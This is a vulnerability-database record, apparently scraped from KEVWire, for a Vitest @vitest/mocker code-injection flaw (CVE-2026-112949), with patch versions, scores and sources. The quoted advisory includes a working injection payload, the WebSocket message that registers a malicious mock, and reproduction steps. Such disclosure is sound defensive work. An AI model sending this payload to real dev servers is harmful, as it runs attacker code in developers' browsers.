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Response snapshot Oct 27, 2026, 02:52 UTC

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VulnerabilityCVE-2026-112949

Vitest: Code injection via unauthenticated manual mock registration

`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping.

Published Updated

At a glance

Exploited
Not known
Severity
4.7 Medium (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: @vitest/mocker: 4.1.12; @vitest/mocker: 5.0.3. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-qxg6-89mg-rqv8 (opens a new tab)

What happened

### Summary

`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.

### Patches

Continue reading

Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.

Projects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.

### Details

`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:

```ts export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string { const source = ` const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}"); ` ```

`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.

`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:

```ts configureServer(server) { if (options.registerWebSocketEvents === false) { return } server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => { if (event.type === 'manual') { const module = ManualMockedModule.fromJSON(event, async () => { const keys = await getFactoryExports(event.url) return Object.fromEntries(keys.map(key => [key, null])) }) registry.

add(module) // no validation of `id` or `url` } else { if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ } ```

`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.

With `url = 'x"); globalThis.ARES_INJECTED = 1; void("'` a request for `/src/app.js` is answered with valid, executable JavaScript:

```js const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); ```

`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__["X"]`, `export { __0 as "X" }` and `resolvedModule["X"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.

**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

### PoC

`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

```bash git clone https://github.com/vitest-dev/vitest && cd vitest git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a pnpm install && pnpm build REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh ```

Required configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):

```ts import { interceptorPlugin } from '@vitest/mocker/node' export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin() ```

The attack is one WebSocket message to `ws:// : /` with subprotocol `vite-hmr`:

```json { "type": "custom", "event": "vitest:interceptor:register", "data": { "type": "manual", "raw": "", "id": " ", "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } } ```

then answering the server's `vitest:interceptor:resolve` with `{"type":"custom","event":"vitest:interceptor:resolved","data":{"url":" ","keys":["a"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.

Observed output:

``` PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400 PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400 PASS negative control: with no mock registered the real module is served PASS negative control: a mock with a harmless url replaces the module but injects nothing --- module served for /src/app.

js --- const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

let __0 = __factoryModule__["a"] export { __0 as "a" } if (__factoryModule__.__factoryPromise != null) { __factoryModule__.__factoryPromise.then((resolvedModule) => { __0 = resolvedModule["a"]; }) } PASS attacker statement is present in the module the dev server serves PASS the real module body was replaced PASS the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE ```

* **Positive control** — with no

Affected package ranges reported by GitHub: @vitest/mocker: >= 2.1.0-beta.7, < 4.1.12 @vitest/mocker: >= 5.0.0-beta.1, < 5.0.3

Scores and how they were measured

CVSS base severity

4.7

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 26.8%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-qxg6-89mg-rqv8 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112949, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 21). Vitest: Code injection via unauthenticated manual mock registration (CVE-2026-112949). https://kevwire.com/record/CVE-2026-112949

MLA

"Vitest: Code injection via unauthenticated manual mock registration (CVE-2026-112949)." KEVWire, 21 Oct. 2026, kevwire.com/record/CVE-2026-112949.

Chicago

KEVWire. "Vitest: Code injection via unauthenticated manual mock registration (CVE-2026-112949)." Last modified October 21, 2026. https://kevwire.com/record/CVE-2026-112949.

Evidence summary (plain text)

Vitest: Code injection via unauthenticated manual mock registration (Oct 21, 2026).
`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.
CVSS 4.7 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-qxg6-89mg-rqv8).
EPSS 0.3% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112949&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-qxg6-89mg-rqv8: https://github.com/advisories/GHSA-qxg6-89mg-rqv8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112949&date=2026-10-26
Record ID: CVE-2026-112949.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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